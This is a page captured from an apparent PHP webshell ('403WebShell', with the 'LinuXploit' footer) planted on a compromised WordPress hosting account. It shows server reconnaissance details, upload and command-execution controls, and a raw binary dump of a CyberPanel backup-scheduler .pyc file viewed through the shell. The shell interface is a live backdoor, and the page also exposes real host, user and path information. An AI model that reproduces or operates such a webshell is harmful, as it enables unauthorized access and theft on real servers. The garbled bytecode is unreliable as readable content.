Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/CyberCP/plogical/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/CyberCP/plogical/__pycache__/backupSchedule.cpython-310.pyc
o

���g�N�@s@ddlZddlZddlZej�d�ej�dd�e��ddl	m
ZddlZddl
Z
ddlZddlZddlmZddlmZmZmZddlmZmZmZdd	lmZdd
lmZddlZddlZddlmZddl Z Gdd
�d
�Z!dd�Z"dd�Z#e$dkr�e%dd�D]Z&e&dks�e&dks�e&dkr�q�e � e&e#�q�e"�dSdS)�Nz/usr/local/CyberCP�DJANGO_SETTINGS_MODULEzCyberCP.settings)�CyberCPLogFileWriter)�backupUtilities)�match�I�M)�Backups�	BackupJob�
BackupJobLogs)�ProcessUtilities)�randint)�datetimec@sneZdZe��ZdZdZdZdZdZ	dZ
eddd��Zedd��Z
eddd��Zedd
d��Zedd��ZdS)�backupScheduler��z /home/cyberpanel/remoteBackupPIDc
Cs�zFt|d�}|�dt�d�d|d�tdt�d�d|d�|��tjdkr1WdSttj|dt�d�d|d��	�WdSt
yY}zWYd}~dSd}~ww)	N�a�[�%m.%d.%Y_%H-%M-%Sz] �
r)�owner�status�messagezCan not write to error file.)�open�
writelines�time�strftime�print�closer�	backupLogr
�save�IOError)�fileNamerr�file�msg�r$�-/usr/local/CyberCP/plogical/backupSchedule.py�remoteBackupLogging s
 
,��z"backupSchedule.remoteBackupLoggingc
Cs$�z�t�|d|�ttdd��}d|}t|d�}|��t��}t�	||d��}t
jd||dd	�}tj
�tj�rBtj�|j�t�|j�}|d
}	t�|d�t�d�d
|}
d}	|}tj
�d|d�}
tj
�d|d�}tj
�d|d�}z	t|d���}Wnd}Yt�d�}tj
�d�r�d|}tj�|�|�d�dks�|�d�dk�r�|�d|��r�tj
�d�r�d}tj�|�tj
�|
��r�tj
�d�r�d}tj�|�t|
d���}
t�d�|
�d �dk�rd!|
}t�|�d!|}t�|�d!|}t�|�t�|d"|�zt�|�WnYd|	fWS|
�d#�dk�r�tj
�d��r6d$}tj�|�z7d!|
}t�|�d!|}t�|�d!|}t�|�d%|	}t�|�tjj|d&�}|D]}|� ��qdWnYt�|d'||
ftj!�zt�|�WnYd%|	}t�|�d|	fWStj
�|
��r�tj
�d��r�d(}tj�|�t�|d)t|
d���tj!�t�|
�d%|	}t�|�Wd*S�ntj
�d��r�d+}tj�|�tj
�|
��rttj
�d��r�d,}tj�|�t|
d���}
t�d�|
�d �dk�r=d!|
}t�|�d!|}t�|�d!|}t�|�t�|d"|�zt�|�WnYd|	fWStj
�|
��rstj
�d��rSd-}tj�|�t�|d)t|
d���tj!�t�|
�d%|	}t�|�Wd*Snltj
�d��r�d.}tj�|�|dk�r�tj
�d��r�d/}tj�|�d%|	}t�|�Wd0Stj
�|
��r�tj
�d��r�d1}tj�|�t�|d)t|
d���tj!�t�|
�d%|	}t�|�Wd*St�d2�d}q^t"�y}z$tj�t|�d3�t�|d'|t|�ftj!�dt|�fWYd}~Sd}~ww)4NzStarting local backup for: iʚ;l�c(	z/home/cyberpanel/zw+)�
randomFile�websiteToBeBackedz)https://localhost:%s/backup/localInitiateF)�data�verify�tempStoragez!Waiting for backup to complete.. �z/home/cyberpanel/%s-backup.txtrr�/homez
backup/statuszbackup/backupFileNamez
backup/pid�rz
Fetching..�ps auxz/usr/local/CyberCP/debugz<Output of px aux when running remote backup status check: %s�startBackup����
BackupRootz/%s/zIf running found.z(If running found. and status file exists��	Completedzsudo rm -f zBackup Completed for: z[5009]z.If running found. status file exists but errorz	rm -rf %s)r!z6Local backup creating failed for %s, Error message: %szMIf running found. status file exists, scheduler path also exists hence killedz Backup process killed. Error: %s)rzBackup process killed.zIf running not found.z(if running not found, Status file existszLif running not found, Status file exists, scheduler path exists thus killed.zStatus file does not exists.zOif running not found, Status file  does not exists, kill counter 1, thus killed)rz8Backup process killed without reporting any error. [184]zSif running not found, Status file does not exists, scheduler path found thus killed�
z [119:startBackup])#rr&�strrrrr�fetchCurrentPort�json�dumps�requests�post�os�path�exists�	debugPath�loggingr�writeToFile�text�loadsr�sleep�join�read�outputExecutioner�find�normalExecutioner�remover�objects�filter�delete�ERROR�
BaseException)�virtualHost�
backupLogPath�randNBR�
pathToFiler"�port�	finalDatar.r)�tempStoragePath�
schedulerPath�killCounter�backupDomainr�backupFileNamePath�pidr!�	ifRunningr�command�	backupObs�itemsr#r$r$r%�createLocalBackup0sX


.








���

��

�




�

�


��


��/����z backupSchedule.createLocalBackup�22�rootc
Csfz�t�|d|�t�|d|�t�||�}|ddkrm|d}t�|d|�t�|d|d|�t�|d||||�t�|d	|d
|�t�|d�t�|d�t�|d�t�|d�t�|d�WdSt�|d
|�t�|d�t�|d�t�|d�t�|d�t�|d�WdSty�}ztj�t|�d�WYd}~dSd}~ww)Nz Preparing to create backup for: zBackup started for: rrzBackup created for: zPreparing to send backup for: z to z.tar.gzzBackup for: z is sent to r�1#################################################z%Remote backup creation failed for %s.z [backupSchedule.createBackup])	rr&r`�
sendBackuprOr@rrAr6)rP�	ipAddressrQrT�user�	retValues�
backupPathr#r$r$r%�createBackups6"��zbackupSchedule.createBackupc
Cs�zSd}t|�}|��}|�dd�d}t|d�}	d|d|d|d	|d
|dt�d�d}
tjt�|
�|	d
�tj	�
tj�rLt
j�|
�t�|�WdStyp}zt
j�t|�d�WYd}~dSd}~ww)N�/etc/cyberpanel/machineIPrrrrz#scp -o StrictHostKeyChecking=no -P � -i /root/.ssh/cyberpanel � �@z
:~/backup/�/r)�stdoutz [189:startBackup])rrF�splitrr�
subprocess�call�shlexr<r=r>rr?r@rrArJrOr6)rh�	IPAddressrQrTrf�ipFile�f�ipData�ipAddressLocalrAr]r#r$r$r%rd3s
:"��zbackupSchedule.sendBackupc
Cs��zRtj�tj�r5ttjd���}t�d�}|�	d�dkr/|�	|�dkr/t
d||f�WdSt�tj�ttjd�}|�t
t����|��tj}t�t|d����}|d}z|d	}Wnd
}Y|d}d}d}	dt�d
�}
t|
tj||	||d�t_tj��tj}t�|
d�t�|
dt�d
��t�|
d�t�|
d�t�|
d�d}t|�}|��}
|
�dd�d}t�|�dkr�t�|
d|d�t�|�}|ddkr�t�|
d|d�WdSd|d|d|d|dt�d�}t�t �|��	t�!d �D] }t"d!|t#t$B��r+t�%|||
||��r'|d}�q|	d}	�q|	tj_&|tj_'tj��t�|
d"�tj�tj��rQt�tj�WdSWdSt(�yq}zt)j*�+t
|�d#�WYd}~dSd}~ww)$Nr.r/z-/usr/local/CyberCP/plogical/backupSchedule.pyr1zz

Remote backup is already running with PID: %s. If you want to run again kindly kill the backup process: 

 kill -9 %s.

r�wrTrfrbrez /usr/local/lscp/logs/backup_log.r)�logFile�location�jobSuccessSites�jobFailedSitesrerTrcz      Backup log for: z2#################################################
rrjrrzPing for : z2 does not seems to work, however we will continue.zConnection to: zC Failed, please resetup this destination from CyberPanel, aborting.z#ssh -o StrictHostKeyChecking=no -p rkrmz mkdir -p ~/backup/rnz%a-%br-zD^[a-zA-Z0-9-]*[a-zA-Z0-9-]{0,61}[a-zA-Z0-9-](?:\.[a-zA-Z0-9-]{2,})+$zRemote backup job completed.
z
 [prepare]),r<r=r>r�runningPathrrFrrGrHrrJ�writer6�getpidrr�destinationsPathr8rCrrr	�REMOTErrr&rp�checkIfHostIsUp�checkConnectionrqrrrs�listdirrrrrir}r|rOr@rrA)r[�outputrA�destinationsr)rTrfrer|r}rQrurvrwrx�	checkConnr]rPr#r$r$r%�prepareNs�
���


�&��
�"��zbackupSchedule.prepareN)r)rarb)�__name__�
__module__�__qualname__r
�now�LOCALr��INFOrNrr~�staticmethodr&r`rirdr�r$r$r$r%rs&
R0rcCst��dS)N)rr�r$r$r$r%�main�sr�cCs2t��tj}tj�dt|�t|���f�dS)NzSignal: %s, time spent: %s)r
r�rr@rrAr6�
total_seconds)�signum�frame�diffr$r$r%�handler�s$r��__main__r� �	�)'�os.pathr<�sys�djangor=�append�environ�
setdefault�setup�plogicalrr@rqrsr�plogical.backupUtilitiesr�rerrr�websiteFunctions.modelsrr	r
�plogical.processUtilitiesr�randomrr8r:r
�signalrr�r�r��range�ir$r$r$r%�<module>s@
�

Youez - 2016 - github.com/yon3zu
LinuXploit